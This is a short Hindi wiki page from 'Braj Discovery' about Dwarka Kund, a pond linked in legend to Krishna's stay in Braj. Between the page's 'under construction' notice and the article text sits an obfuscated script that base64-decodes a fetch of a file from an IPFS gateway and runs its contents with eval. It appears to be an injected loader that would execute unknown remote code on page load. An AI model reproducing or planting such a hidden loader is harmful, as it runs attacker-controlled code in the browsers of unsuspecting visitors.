द्वारका कुण्ड

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Gaurav (चर्चा | योगदान) द्वारा परिवर्तित ०८:३६, १९ मार्च २०१० का अवतरण
नेविगेशन पर जाएँ खोज पर जाएँ



Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

द्वारका कुण्ड / Dwarika Kund

श्री कृष्ण ने यहाँ पर द्वार का से ब्रज में पधारकर महर्षियों के साथ शिविर बनाकर निवास अवस्थित किया था । द्वारका कुण्ड, सोमती कुण्ड, मान कुण्ड और बलभद्र कुण्ड– ये चारों कुण्ड परस्पर सन्निकट अवस्थित हैं ।


अन्य लिंक

साँचा:कुण्ड